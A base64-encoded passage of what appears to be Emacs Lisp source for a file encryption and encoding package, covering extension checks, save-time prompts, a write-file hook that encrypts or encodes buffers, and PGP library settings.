cmNoIG5pbCkKICAgICAgICBmb3VuZCBlbHQpCgogICAgOzsgU2VhcmNoIHRocm91Z2ggdGhlIGZp bGUgbmFtZSBleHRlbnNpb25zIGZvciBhIG1hdGNoLgogICAgKHdoaWxlIChhbmQgYWxpc3QgKHNl dHEgZWx0IChjYXIgYWxpc3QpKSAobm90IGZvdW5kKSkKICAgICAgKGlmIChzdHJpbmctbWF0Y2gg KG50aCAzIGVsdCkgYnVmZmVyLWZpbGUtbmFtZSkKICAgICAgICAgIChzZXRxIGZvdW5kIHQpCiAg ICAgICAgOzsgRGVjcmVtZW50LgogICAgICAgIChzZXRxIGFsaXN0IChjZHIgYWxpc3QpKSkpCgog ICAgOzsgRGlkIHdlIGZpbmQgYSBtYXRjaD8KICAgIChpZiBmb3VuZAoKICAgICAgICA7OyBGaWxl IG5hbWUgZW5kcyBpbiBhIHZlcnkgcHJvdm9jYXRpdmUgZXh0ZW5zaW9uLgoKICAgICAgICA7OyBD aGVjayB0byBzZWUgaWYgYWxyZWFkeSBhbiBlbmNvZGVkIGZpbGUuCiAgICAgICAgKGlmIGNyeXB0 LWJ1ZmZlci1zYXZlLWVuY29kZWQKCiAgICAgICAgICAgIDs7IEFscmVhZHkgZW5jb2RlZCAtIGRv IHRoZSBtZXRob2RzIG9mIGVuY29kaW5nIG1hdGNoPwogICAgICAgICAgICAoaWYgKG5vdCAoZXEg KG50aCAwIGVsdCkgY3J5cHQtYnVmZmVyLWVuY29kaW5nLXR5cGUpKQoKICAgICAgICAgICAgICAg IDs7IEEgbmV3IGVuY29kaW5nIG1ldGhvZCBpcyBkZXNpcmVkLgoKICAgICAgICAgICAgICAgIDs7 IENhbiB3ZSBwbGF5IHNvbWUgZmlsZW5hbWUgZXh0ZW5zaW9uIHRyaWNrcyB3aXRoIHRoZQogICAg ICAgICAgICAgICAgOzsgZGVzdGluYXRpb24gZXh0ZW5zaW9uPwogICAgICAgICAgICAgICAgKGlm IChjcnlwdC1nZXQtZXh0ZW5zaW9uLXRyaWNrcyAobnRoIDAgZWx0KSkKCiAgICAgICAgICAgICAg ICAgICAgOzsgQ2FuIHBsYXkgdHJpY2tzLgogICAgICAgICAgICAgICAgICAgIDs7IENoYW5nZSB0 aGUgbWV0aG9kIG9mIGVuY29kaW5nPwogICAgICAgICAgICAgICAgICAgIChpZiAoY3J5cHQteS1v ci1uLXAgKGZvcm1hdCAiV3JpdGUgJXMgdXNpbmcgJXM/ICIKICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAoYnVmZmVyLW5hbWUpIChudGggNCBlbHQpKSkKCiAgICAgICAg ICAgICAgICAgICAgICAgIDs7IENhc2Ugb25lLgogICAgICAgICAgICAgICAgICAgICAgICA7OyBU dXJuIG9mZiBvcmlnaW5hbCBlbmNvZGluZyBhbmQgdHVybiBvbiBuZXcgZW5jb2RpbmcuCiAgICAg ICAgICAgICAgICAgICAgICAgIChwcm9nbiAoY3J5cHQtZW5jb2RlZC1tb2RlIC0xKQogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgKHNldHEgY3J5cHQtYnVmZmVyLWVuY29kaW5nLXR5cGUg KG50aCAwIGVsdCkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoY3J5cHQtZW5jb2Rl ZC1tb2RlIDEpKSkKCiAgICAgICAgICAgICAgICAgIDs7IENhbiBub3QgcGxheSB0cmlja3MgLSBt YXliZSB3YW50cyBhIHBsYWluIGZpbGU/CiAgICAgICAgICAgICAgICAgIChpZiAoY3J5cHQteS1v ci1uLXAgKGZvcm1hdCAiV3JpdGUgJXMgYSBwbGFpbiBmaWxlPyAiCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoYnVmZmVyLW5hbWUpKSkKCiAgICAgICAgICAg ICAgICAgICAgICA7OyBDYXNlIHRocmVlLgogICAgICAgICAgICAgICAgICAgICAgOzsgVHVybiBv ZmYgdGhlIG1pbm9yIG1vZGUgYW5kIF90aGVuXyB0aGUgZmxhZ3MuCiAgICAgICAgICAgICAgICAg ICAgICAocHJvZ24KICAgICAgICAgICAgICAgICAgICAgICAgKGNyeXB0LWVuY29kZWQtbW9kZSAt MSkKICAgICAgICAgICAgICAgICAgICAgICAgKHNldHEgY3J5cHQtYnVmZmVyLXNhdmUtZW5jb2Rl ZCBuaWwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY3J5cHQtYnVmZmVyLWVuY29kaW5n LXR5cGUgbmlsKSkpKSkKCiAgICAgICAgICA7OyBXYXMgYSBwbGFpbiBmaWxlLgogICAgICAgICAg KGlmIChhbmQKICAgICAgICAgICAgICAgOzsgQ2FuIHdlIHBsYXkgc29tZSBmaWxlbmFtZSBleHRl bnNpb24gdHJpY2tzPwogICAgICAgICAgICAgICA7OyBJZiBub3QgdGhlbiB3ZSBtdXN0IGFib3J0 LgogICAgICAgICAgICAgICAoY3J5cHQtZ2V0LWV4dGVuc2lvbi10cmlja3MgKG50aCAwIGVsdCkp CgogICAgICAgICAgICAgICAoY3J5cHQteS1vci1uLXAgKGZvcm1hdCAiV3JpdGUgJXMgdXNpbmcg JXM/ICIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKGJ1ZmZlci1uYW1l KSAobnRoIDQgZWx0KSkpKQoKICAgICAgICAgICAgICA7OyBDYXNlIHR3by4KICAgICAgICAgICAg ICA7OyBUdXJuIG9uIGVuY29kaW5nIGZsYWdzIGFuZCBfdGhlbl8gdGhlIG1pbm9yIG1vZGUuCiAg ICAgICAgICAgICAgKHByb2duCiAgICAgICAgICAgICAgICAoc2V0cSBjcnlwdC1idWZmZXItc2F2 ZS1lbmNvZGVkIHQKICAgICAgICAgICAgICAgICAgICAgIGNyeXB0LWJ1ZmZlci1lbmNvZGluZy10 eXBlIChudGggMCBlbHQpKQogICAgICAgICAgICAgICAgKGNyeXB0LWVuY29kZWQtbW9kZSAxKSkp KQoKICAgICAgOzsgTm8gbWF0Y2ggLSBhIHBsYWluLWphbmUgZmlsZSBleHRlbnNpb24gLSBidXQg aWYgdGhlIGVuY29kZWQgZmxhZyBpcwogICAgICA7OyBub24tbmlsIHRoZW4gdGhlIHVzZXIgbWF5 IHJlYWxseSB3YW50IGl0IHdyaXR0ZW4gb3V0IGluIHBsYWluCiAgICAgIDs7IGZvcm1hdCBzbyB3 ZSBtdXN0IG92ZXJyaWRlIHRoaXMgZmxhZy4KICAgICAgKGlmIChhbmQgY3J5cHQtYnVmZmVyLXNh dmUtZW5jb2RlZAoKICAgICAgICAgICAgICAgOzsgU2VhcmNoIHRoZSBsaXN0IG9mIGZpbGVzIHRv IGJlIGlnbm9yZWQuCiAgICAgICAgICAgICAgIDs7IElmIGBjcnlwdC1pZ25vcmVkLWZpbGVuYW1l cycgaXMgbmlsIHRoZW4gdGhpcyBsZXQgZm9ybQogICAgICAgICAgICAgICA7OyB3aWxsIHJldHVy biB0LiAgSWYgYSBtYXRjaCBpcyBmb3VuZCB0aGlzIGZvcm0gd2lsbCByZXR1cm4KICAgICAgICAg ICAgICAgOzsgbmlsLiAgT3RoZXJ3aXNlIGl0IHdpbGwgcmV0dXJuIHQuCiAgICAgICAgICAgICAg IChsZXQgKCh0bGlzdCBjcnlwdC1pZ25vcmVkLWZpbGVuYW1lcykKICAgICAgICAgICAgICAgICAg ICAgY2FzZS1mb2xkLXNlYXJjaCBmb3VuZCBlbHQpCgogICAgICAgICAgICAgICAgIDs7IFNlYXJj aCB0aHJvdWdoIHRoZSBsaXN0IG9mIGZpbGVuYW1lcyBmb3IgYSBtYXRjaC4KICAgICAgICAgICAg ICAgICAod2hpbGUgKGFuZCB0bGlzdCAoc2V0cSBlbHQgKGNhciB0bGlzdCkpIChub3QgZm91bmQp KQogICAgICAgICAgICAgICAgICAgKGlmIChzdHJpbmctbWF0Y2ggZWx0IGJ1ZmZlci1maWxlLW5h bWUpCiAgICAgICAgICAgICAgICAgICAgICAgKHNldHEgZm91bmQgdCkKICAgICAgICAgICAgICAg ICAgICAgOzsgRGVjcmVtZW50LgogICAgICAgICAgICAgICAgICAgICAoc2V0cSB0bGlzdCAoY2Ry IHRsaXN0KSkpKQoKICAgICAgICAgICAgICAgICA7OyBSZXR1cm4gdCBpZiB3ZSBjYW4gX25vdF8g ZmluZCBhIG1hdGNoLgogICAgICAgICAgICAgICAgIChub3QgZm91bmQpKQoKICAgICAgICAgICAg ICAgOzsgSWYgYChjcnlwdC1lbmNvZGVkLW1vZGUpJyB3YXMgY2FsbGVkIGludGVyYWN0aXZlbHks IHRoZW4KICAgICAgICAgICAgICAgOzsgdGhlcmUgaXMgYSBoaWdoIHByb2JhYmlsaXR5IHRoYXQg bm8gbWF0dGVyIHdoYXQgdGhlIGZpbGUKICAgICAgICAgICAgICAgOzsgbmFtZSBleHRlbnNpb24g dGhlIHVzZXIgd2lzaGVzIHRvIHdyaXRlIHRoZSBmaWxlIG91dCBpbiBzb21lCiAgICAgICAgICAg ICAgIDs7IGVuY29kZWQgZm9ybWF0LiAgVGhhbmtzIHRvIEtpbWJhbGwgQ29sbGlucwogICAgICAg ICAgICAgICA7OyA8a3BjQHB0b2xlbXkuYXJjLm5hc2EuZ292PiBmb3IgcG9pbnRpbmcgb3V0IHRo ZSBuZWVkIGZvcgogICAgICAgICAgICAgICA7OyB0aGlzLiAgVW5mb3J0dW5hdGVseSwgc3RpbGwg Y2FuIG5vdCBkaXN0aW5ndWlzaCBiZXR3ZWVuCiAgICAgICAgICAgICAgIDs7IHdyaXRlLWZpbGUg YW5kIHNhdmUtYnVmZmVyLiAgSW4gdGhlIGZvcm1lciB0aGUgdXNlciBtYXkgd2FudAogICAgICAg ICAgICAgICA7OyB0byB3cml0ZSBpbiBwbGFpbiBmb3JtYXQgKG9yIGluZGVlZCBzb21lIG90aGVy IGZvcm1hdCkuCgogICAgICAgICAgICAgICAoaWYgY3J5cHQtYnVmZmVyLWludGVyYWN0aXZlLWVu Y29kZWQtbW9kZQogICAgICAgICAgICAgICAgICAgOzsgSW50ZXJhY3RpdmUKICAgICAgICAgICAg ICAgICAgIGNyeXB0LXF1ZXJ5LWlmLWludGVyYWN0aXZlCiAgICAgICAgICAgICAgICAgOzsgTm9u LWludGVyYWN0aXZlIGJ1dCBzdGlsbCBtYXkgd2FudCBlbmNvZGVkIGZvcm1hdC4KICAgICAgICAg ICAgICAgICBjcnlwdC1uby1leHRlbnNpb24taW1wbGllcy1wbGFpbikKCiAgICAgICAgICAgICAg IChjcnlwdC15LW9yLW4tcCAoZm9ybWF0ICJXcml0ZSAlcyBhcyBhIHBsYWluIGZpbGU/ICIKICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKGJ1ZmZlci1uYW1lKSkpKQoKICAg ICAgICAgIDs7IENhc2UgdGhyZWUuCiAgICAgICAgICA7OyBUdXJuIG9mZiB0aGUgbWlub3IgbW9k ZSBhbmQgX3RoZW5fIHRoZSBmbGFncy4KICAgICAgICAgIChwcm9nbgogICAgICAgICAgICAoY3J5 cHQtZW5jb2RlZC1tb2RlIC0xKQogICAgICAgICAgICAoc2V0cSBjcnlwdC1idWZmZXItc2F2ZS1l bmNvZGVkIG5pbAogICAgICAgICAgICAgICAgICBjcnlwdC1idWZmZXItZW5jb2RpbmctdHlwZSBu aWwpKSkpKSkKCgwKKGRlZnVuIGNyeXB0LXktb3Itbi1wIChwcm9tcHQpCiAgOzsgUXVlcmllcyB1 c2VyIGJhc2VkIG9uIGBjcnlwdC1hdXRvLXdyaXRlLWJ1ZmZlcicgYW5kIGludGVybmFsIGJ1ZmZl ci1sb2NhbAogIDs7IHZhcmlhYmxlIGBjcnlwdC1hdXRvLXdyaXRlLWFuc3dlci1sb2NhbCcuICBS ZXR1cm5zIHZhbHVlIG9mCiAgOzsgYGNyeXB0LWF1dG8td3JpdGUtYW5zd2VyLWxvY2FsJywgd2hp Y2ggaXMgdCBvciBuaWwuCgogIDs7IENoZWNrIGlmIHdlIG5lZWQgdG8gYXNrIHVzZXIuICBTaG91 bGQgYmUgJ2FzaywgbmlsLCBvciB0LgogIChpZiAoZXEgY3J5cHQtYXV0by13cml0ZS1hbnN3ZXIt bG9jYWwgJ2FzaykgOyBEZWZhdWx0IHZhbHVlLgogICAgICA7OyBXZSBtYXkgbmVlZCB0byBhc2su CiAgICAgIChvciBjcnlwdC1hdXRvLXdyaXRlLWJ1ZmZlcgogICAgICAgICAgOzsgQXNrIGFuZCBz dG9yZSB0aGUgYW5zd2VyLgogICAgICAgICAgOzsgTm90ZTogd2Ugb25seSBzdG9yZSBpZiB3ZSBh c2tlZC4KICAgICAgICAgIChzZXRxIGNyeXB0LWF1dG8td3JpdGUtYW5zd2VyLWxvY2FsICh5LW9y LW4tcCBwcm9tcHQpKSkKICAgIDs7IFVzZSBwcmV2aW91cyBhbnN3ZXIuCiAgICBjcnlwdC1hdXRv LXdyaXRlLWFuc3dlci1sb2NhbCkpIDsgV2lsbCBiZSBuaWwgb3IgdC4KCgwKOzs7IFRoaXMgZnVu Y3Rpb24gc2hvdWxkIGJlIGNhbGxlZCBPTkxZIGFzIGEgd3JpdGUtZmlsZSBob29rLgo7OzsgT2Rk IHRoaW5ncyB3aWxsIGhhcHBlbiBpZiBpdCBpcyBjYWxsZWQgZWxzZXdoZXJlLgoKKGRlZnVuIGNy eXB0LXdyaXRlLWZpbGUtaG9vayAoKQoKICA7OyBIb29rIGZvciBwb3NzaWJseSB3cml0aW5nIG91 dCBmaWxlLCBhbmQgYmFja3VwIGZpbGUsIGluIGEgbm9uLXBsYWluCiAgOzsgZm9ybWF0LiAgVGVy bWluYXRlcyBjYWxscyBpbiBgd3JpdGUtZmlsZS1ob29rcycgYW5kIHNob3VsZCBiZSBhdCBlbmQg b2YKICA7OyBsaXN0LgoKICAobGV0ICgoYmluYXJ5LXByb2Nlc3MtaW5wdXQgdCkgIDsgV2luMzIK CShiaW5hcnktcHJvY2Vzcy1vdXRwdXQgdCkgOyBXaW4zMgoJKGluaGliaXQtcmVhZC1vbmx5IHQp ICAgICA7IGVsc2Ugd2UgbG9zZSBvbiByZWFkLW9ubHkgcHJvcGVydGllcwogICAgICAgKQoKICA7 OyBDaGVjayBmaWxlLWV4dGVuc2lvbiBmb3IgcG9zc2libGUgdG9nZ2xpbmcgb2YgZW5jb2Rpbmcg bW9kZXMuCiAgKGNyeXB0LWNoZWNrLWV4dGVuc2lvbi1mb3ItZW5jb2RpbmcpCgogIDs7IENoZWNr IGV4dGVuc2lvbiBmb3IgZW5jcnlwdGlvbi4KICAoaWYgKGFuZAoKICAgICAgIDs7IE1heWJlIGZp bGUgZW5kcyB3aXRoIHByb3ZvY2F0aXZlIGV4dGVuc2lvbiB3LnIudC4gZW5jcnlwdGlvbj8KICAg ICAgIChzdHJpbmdwIChjcnlwdC1nZXQtZmlsZS1leHRlbnNpb24gY3J5cHQtZW5jcnlwdGlvbi10 eXBlKSkKICAgICAgIChsZXQgKChjYXNlLWZvbGQtc2VhcmNoIG5pbCkpIDsgTWFrZSBjYXNlLXNl bnNpdGl2ZS4KICAgICAgICAgKHN0cmluZy1tYXRjaCAoY3J5cHQtZ2V0LWZpbGUtZXh0ZW5zaW9u IGNyeXB0LWVuY3J5cHRpb24tdHlwZSkKICAgICAgICAgICAgICAgICAgICAgICBidWZmZXItZmls ZS1uYW1lKSkKCiAgICAgICA7OyBDYW4gd2UgcGxheSB0cmlja3M/CiAgICAgICAoY3J5cHQtZ2V0 LWV4dGVuc2lvbi10cmlja3MgY3J5cHQtZW5jcnlwdGlvbi10eXBlKQoKICAgICAgIDs7IE1hdGNo IG9mIGZpbGVuYW1lIGV4dGVuc2lvbiAtIGlzIGZpbGUgaW4gcGxhaW4gZm9ybWF0PwogICAgICAg KG5vdCBjcnlwdC1idWZmZXItc2F2ZS1lbmNyeXB0ZWQpCgogICAgICAgOzsgUXVlcnk/CiAgICAg ICAob3IgY3J5cHQtYXV0by13cml0ZS1idWZmZXItZW5jcnlwdGVkCiAgICAgICAgICAgKHktb3It bi1wCiAgICAgICAgICAgIChmb3JtYXQgIldyaXRlICVzIGFzIGFuIGVuY3J5cHRlZCBmaWxlPyAi IChidWZmZXItbmFtZSkpKSkpCgogICAgICAocHJvZ24KICAgICAgICA7OyBTZXQgcGFzc3dvcmQg YW5kIHRvZ2dsZSBgY3J5cHQtZW5jcnlwdGVkLW1vZGUnCgkoaWYgKGVxIGNyeXB0LWVuY3J5cHRp b24tdHlwZSAncGdwLXB1YikKCSAgICAoY3J5cHQtc2V0LWVuY3J5cHRpb24ta2V5ICJkdW1teS1r ZXkiKQoJICAoY2FsbC1pbnRlcmFjdGl2ZWx5ICdjcnlwdC1zZXQtZW5jcnlwdGlvbi1rZXkpKQog ICAgICAgIChjcnlwdC1lbmNyeXB0ZWQtbW9kZSAxKSkpCgogIDs7IE5vdyBkZWNpZGUgd2hldGhl ciBvciBub3Qgd2UgbmVlZCB0byBjb250aW51ZSB3aXRoIHRoaXMgZGVmdW4uIERvZXMgdGhlCiAg OzsgYnVmZmVyIG5lZWQgdG8gYmUgc2F2ZWQgaW4gYSBub24tcGxhaW4gZm9ybT8gIElmIG5vdCB0 aGVuIHdyaXRpbmcgaXMgbm90CiAgOzsgZG9uZSBoZXJlIGJ1dCBsYXRlciBpbiB0aGUgd3JpdGUt ZmlsZS1ob29rcyAtIHByb2JhYmx5IGF0IHRoZSBlbmQuCgogIChpZiAob3IgY3J5cHQtYnVmZmVy LXNhdmUtZW5jb2RlZCBjcnlwdC1idWZmZXItc2F2ZS1lbmNyeXB0ZWQpCgogICAgICAoc2F2ZS1l eGN1cnNpb24KICAgICAgICAoc2F2ZS1yZXN0cmljdGlvbgoKICAgICAgICAgIChsZXQKCiAgICAg ICAgICAgICAgOzsgQklORElOR1MKICAgICAgICAgICAgICAoKGNvcHktYnVmZmVyIChnZXQtYnVm ZmVyLWNyZWF0ZSAiICpjcnlwdCBjb3B5IGJ1ZmZlcioiKSkKICAgICAgICAgICAgICAgKHNlbGVj dGl2ZS1kaXNwbGF5IHNlbGVjdGl2ZS1kaXNwbGF5KQogICAgICAgICAgICAgICAoYnVmZmVyLXJl YWQtb25seSkpCgogICAgICAgICAgICA7OyBGT1JNUwogICAgICAgICAgICAoY29weS10by1idWZm ZXIgY29weS1idWZmZXIgMSAoMSsgKGJ1ZmZlci1zaXplKSkpCiAgICAgICAgICAgIChuYXJyb3ct dG8tcmVnaW9uIChwb2ludCkgKHBvaW50KSkKCiAgICAgICAgICAgICh1bndpbmQtcHJvdGVjdAoK ICAgICAgICAgICAgICAgIDs7IEJPRFlGT1JNCiAgICAgICAgICAgICAgICAobGV0IChzZXRtb2Rl cykKCiAgICAgICAgICAgICAgICAgIDs7IEFzIG9mIHYxOSwgaWYgb25lIG9mIGZ1bmN0aW9ucyBv ZiB0aGUgYHdyaXRlLWZpbGUtaG9va3MnCiAgICAgICAgICAgICAgICAgIDs7IHJldHVybnMgYSBu b24tbmlsIHZhbHVlLCB0aGVuIGBiYXNpYy1zYXZlLWJ1ZmZlcicgbm8KICAgICAgICAgICAgICAg ICAgOzsgbG9uZ2VyIGNyZWF0ZXMgYSBiYWNrdXAgZmlsZS4gIFdlIG11c3QgZG8gaXQgb3Vyc2Vs dmVzLgogICAgICAgICAgICAgICAgICA7OyB0aGlzIHNob3VsZCBiZSBhIG5vLW9wIGluIHYxOC4K ICAgICAgICAgICAgICAgICAgKG9yIGJ1ZmZlci1iYWNrZWQtdXAKICAgICAgICAgICAgICAgICAg ICAgIChzZXRxIHNldG1vZGVzIChiYWNrdXAtYnVmZmVyKSkpCgogICAgICAgICAgICAgICAgICAo aW5zZXJ0LWJ1ZmZlci1zdWJzdHJpbmcgY29weS1idWZmZXIpCiAgICAgICAgICAgICAgICAgIChr aWxsLWJ1ZmZlciBjb3B5LWJ1ZmZlcikKCiAgICAgICAgICAgICAgICAgIDs7ICJXaG8gd291bGQg Y3Jvc3MgdGhlIEJyaWRnZSBvZiBEZWF0aAogICAgICAgICAgICAgICAgICA7OyAgTXVzdCBhbnN3 ZXIgbWUKICAgICAgICAgICAgICAgICAgOzsgIFRoZXNlIHF1ZXN0aW9ucyB0aHJlZQogICAgICAg ICAgICAgICAgICA7OyAgRXJlIHRoZSBvdGhlciBzaWRlIGhlIHNlZS4iCiAgICAgICAgICAgICAg ICAgIDs7CiAgICAgICAgICAgICAgICAgIDs7IEJyaWRnZWtlZXBlciBmcm9tIE1vbnR5IFB5dGhv biBhbmQgdGhlIEhvbHkgR3JhaWwKCiAgICAgICAgICAgICAgICAgIDs7IFsxXSBzZWxlY3RpdmUt ZGlzcGxheSBub24tbmlsIG1lYW5zIHdlIG11c3QgY29udmVydAogICAgICAgICAgICAgICAgICA7 OyBjYXJyaWFnZSByZXR1cm5zIHRvIG5ld2xpbmVzIG5vdywgYW5kIHNldCB0aGUgdmFyaWFibGUK ICAgICAgICAgICAgICAgICAgOzsgc2VsZWN0aXZlLWRpc3BsYXkgdGVtcG9yYXJpbHkgdG8gbmls LgogICAgICAgICAgICAgICAgICAoaWYgc2VsZWN0aXZlLWRpc3BsYXkKICAgICAgICAgICAgICAg ICAgICAgIChwcm9nbgogICAgICAgICAgICAgICAgICAgICAgICAoZ290by1jaGFyIChwb2ludC1t aW4pKQogICAgICAgICAgICAgICAgICAgICAgICAoc3Vic3QtY2hhci1pbi1yZWdpb24gKHBvaW50 LW1pbikgKHBvaW50LW1heCkgP1xyID9cbikKICAgICAgICAgICAgICAgICAgICAgICAgKHNldHEg c2VsZWN0aXZlLWRpc3BsYXkgbmlsKSkpCgogICAgICAgICAgICAgICAgICA7OyBbMl0gZW5jcnlw dGlvbgogICAgICAgICAgICAgICAgICAoaWYgY3J5cHQtYnVmZmVyLXNhdmUtZW5jcnlwdGVkCiAg ICAgICAgICAgICAgICAgICAgICAocHJvZ24KICAgICAgICAgICAgICAgICAgICAgICAgOzsgY2hl Y2sgZm9yIHBhc3N3b3JkCiAgICAgICAgICAgICAgICAgICAgICAgIChpZiAobm90IGNyeXB0LWJ1 ZmZlci1lbmNyeXB0aW9uLWtleSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIChjYWxsLWlu dGVyYWN0aXZlbHkgJ2NyeXB0LXNldC1lbmNyeXB0aW9uLWtleSkpCiAgICAgICAgICAgICAgICAg ICAgICAgIChpZiAobnVsbCBjcnlwdC1idWZmZXItZW5jcnlwdGlvbi1rZXkpCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAoZXJyb3IgIk5vIGVuY3J5cHRpb24ga2V5IHNldCBmb3IgYnVmZmVy ICVzIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChidWZmZXItbmFtZSkpKQog ICAgICAgICAgICAgICAgICAgICAgICAoaWYgKG5vdCAoc3RyaW5ncCBjcnlwdC1idWZmZXItZW5j cnlwdGlvbi1rZXkpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKGVycm9yICJFbmNyeXB0 aW9uIGtleSBpcyBub3QgYSBzdHJpbmciKSkKICAgICAgICAgICAgICAgICAgICAgICAgKG1lc3Nh Z2UgIkVuY3J5cHRpbmcgJXMuLi4iIChidWZmZXItbmFtZSkpCiAgICAgICAgICAgICAgICAgICAg ICAgIChjcnlwdC1lbmNyeXB0LWJ1ZmZlciBjcnlwdC1idWZmZXItZW5jcnlwdGlvbi1rZXkpKSkK CiAgICAgICAgICAgICAgICAgIDs7IFszXSBlbmNvZGluZwogICAgICAgICAgICAgICAgICAoaWYg Y3J5cHQtYnVmZmVyLXNhdmUtZW5jb2RlZAogICAgICAgICAgICAgICAgICAgICAgKHByb2duCiAg ICAgICAgICAgICAgICAgICAgICAgIChtZXNzYWdlICJFbmNvZGluZyAlcy4uLiIgKGJ1ZmZlci1u YW1lKSkKICAgICAgICAgICAgICAgICAgICAgICAgKGNyeXB0LWVuY29kZS1idWZmZXIpKSkKCiAg ICAgICAgICAgICAgICAgIDs7IE5vdyB3cml0ZSBidWZmZXIvcmVnaW9uIHRvIGRpc2suCiAgICAg ICAgICAgICAgICAgICh3cml0ZS1yZWdpb24gKHBvaW50LW1pbikgKHBvaW50LW1heCkgYnVmZmVy LWZpbGUtbmFtZSBuaWwgdCkKICAgICAgICAgICAgICAgICAgKGRlbGV0ZS1yZWdpb24gKHBvaW50 LW1pbikgKHBvaW50LW1heCkpCiAgICAgICAgICAgICAgICAgIChzZXQtYnVmZmVyLW1vZGlmaWVk LXAgbmlsKQoKICAgICAgICAgICAgICAgICAgOzsgTm93IHRoYXQgdGhlIGZpbGUgaXMgd3JpdHRl biwgc2V0IGl0cyBtb2Rlcy4KICAgICAgICAgICAgICAgICAgKGlmIHNldG1vZGVzCiAgICAgICAg ICAgICAgICAgICAgICAoY29uZGl0aW9uLWNhc2UgKCkKICAgICAgICAgICAgICAgICAgICAgICAg ICAoc2V0LWZpbGUtbW9kZXMgYnVmZmVyLWZpbGUtbmFtZSBzZXRtb2RlcykKICAgICAgICAgICAg ICAgICAgICAgICAgKGVycm9yIG5pbCkpKQoKICAgICAgICAgICAgICAgICAgOzsgUmV0dXJuIHQg c28gdGhhdCBgYmFzaWMtc2F2ZS1idWZmZXInIHdpbGwga25vdyB0aGF0IHRoZQogICAgICAgICAg ICAgICAgICA7OyBzYXZlIGhhcyBhbHJlYWR5IGJlZW4gZG9uZS4KCiAgICAgICAgICAgICAgICAg IDs7IE5PVEU6IHRoaXMgVEVSTUlOQVRFUyB3cml0ZS1maWxlLWhvb2tzIHNvIGFueSBob29rcwog ICAgICAgICAgICAgICAgICA7OyBmb2xsb3dpbmcgdGhpcyBvbmUgd2lsbCBub3QgYmUgZXhlY3V0 ZWQuCgogICAgICAgICAgICAgICAgICB0ICkKCiAgICAgICAgICAgICAgOzsgVU5XSU5ERk9STVMK ICAgICAgICAgICAgICA7OyB1bndpbmQuLi5zaXQgYmFjay4uLnRha2UgYSBsb2FkIG9mZi4uLmhh dmUgYSBiZWVyCgogICAgICAgICAgICAgIDs7IElmIHRoZSBlbmNvZGVkIGFuZCBlbmNyeXB0ZWQg c3R1ZmYgaGFzIGFscmVhZHkgYmVlbiByZW1vdmVkCiAgICAgICAgICAgICAgOzsgdGhlbiB0aGlz IGlzIGEgbm8tb3AuICBUaGlzIGZvcm0gaXMgZXhlY3V0ZWQgaWYgQk9EWUZPUk0KICAgICAgICAg ICAgICA7OyBjb21wbGV0ZXMgbm9ybWFsbHkgYnV0IHRoZSB2YWx1ZSBvZiBCT0RZRk9STSBpcyBy ZXR1cm5lZCAtCiAgICAgICAgICAgICAgOzsgaS5lLiwgdCBpcyByZXR1cm5lZC4KCiAgICAgICAg ICAgICAgKGRlbGV0ZS1yZWdpb24gKHBvaW50LW1pbikgKHBvaW50LW1heCkpKSkpKSkpKQoKDAo7 Ozs7IEVOQ1JZUFRJT04KCihkZWZ2YXIgY3J5cHQtcGdwLXB1Yi1saWJyYXJ5ICdtYWlsY3J5cHQK ICAiV2hhdCBQR1AgbGlicmFyeSB0byB1c2UuCkJpbmQgdG8gJ25wZ3AgdG8gdXNlIFwiUEVNIC0g UEdQIEVuaGFuY2VkIE1lc3NhZ2luZyBmb3IgR05VIEVtYWNzXCIKZnJvbSBSb3kgRnJlZGVyaWNr IEJ1c2RpZWNrZXIsIElJSSAoUmljaykKb3IgdG8gJ21haWxjcnlwdCAoc2VlIGFsc28gY3J5cHQt cGdwLXB1Yi1zdWItbGlicmFyeSkuIikKCihkZWZ2YXIgY3J5cHQtcGdwLXB1Yi1zdWItbGlicmFy eSAncGdwNTAKICAiV2hhdCB2YXJpYW50IG9mIG1haWxjcnlwdCAzLjUueCB0byB1c2U6ICdwZ3As ICdwZ3A1MCwgJ2dwZy4iKQoKKGRlZnZhciBjcnlwdC1wZ3AtcHViLW5wZ3AtdXNlcmlkIG5pbAog ICJQR1Aga2V5IGZvciB0aGUgY3VycmVudCB1c2VyLiIpCgooZGVmdmFyIGNyeXB0LXBncC1wdWIt bnBncC1rZXktaWQgbmlsCiAgIktleWlkIG9mIFBHUCBrZXkgZm9yIHRoZSBjdXJyZW50IHVzZXIu ClVzZWZ1bCBpZiB5b3VyIFxcW3VzZXItZnVsbC1uYW1lXSBkb2Vzbid0IG1hdGNoIGEgdW5pcXVl IGtleS4KU2hvdWxkIGhhdmUgYSBsZWFkaW5nIDB4LiIpCgooZGVmdmFyIGNyeXB0LXBncC1wdWIt bXVsdGlyZWNpcGllbnRzIHQKICAiSWYgdCwgZW5hYmxlcyBwcm9tcHRzIGZvciB1c2VyIHNvIHdo ZW4gYSBmaWxlIGlzIHNhdmVkLCBoZS9zaGUgaGFzIHRoZSBvcHBvcnR1bml0eSB0byBlbnRlciB1 c2VycyBmb3Igd2hvbSB0aGUgZmlsZSBzaG91bGQgYmUgZW5jcnlwdGVkLiBuaWwgZW5jcnlwdHMg b25seSB3aXRoIHRoZSB1c2VyJ3MgcHVibGljIGtleSB3aXRob3V0IHByb21wdHMiKQoKKGRlZnZh ciBjcnlwdC1wZ3AtcHViLXJlY2lwaWVudC1oaXN0b3J5IG5pbAogICJIaXN0b3J5IGxpc3Qgb2Yg cHJldmlvdXMgZW50ZXJlZCByZWNpcGllbnRzIikKCihkZWZ2YXIgY3J5cHQtcGdwLXB1Yi1yZWNp cGllbnRzIG5pbAogICJDb21tYS1zZXBhcmF0ZWQgc3RyaW5nIGNvbnRhaW5pbmcgdGhlIG5hbWVz IG9mIGFsbCB0aGUgcGVvcGxlIHdobydzIHByaXZhdGUga2V5cyBjb3VsZCBkZWNyeXB0IHRoaXMg 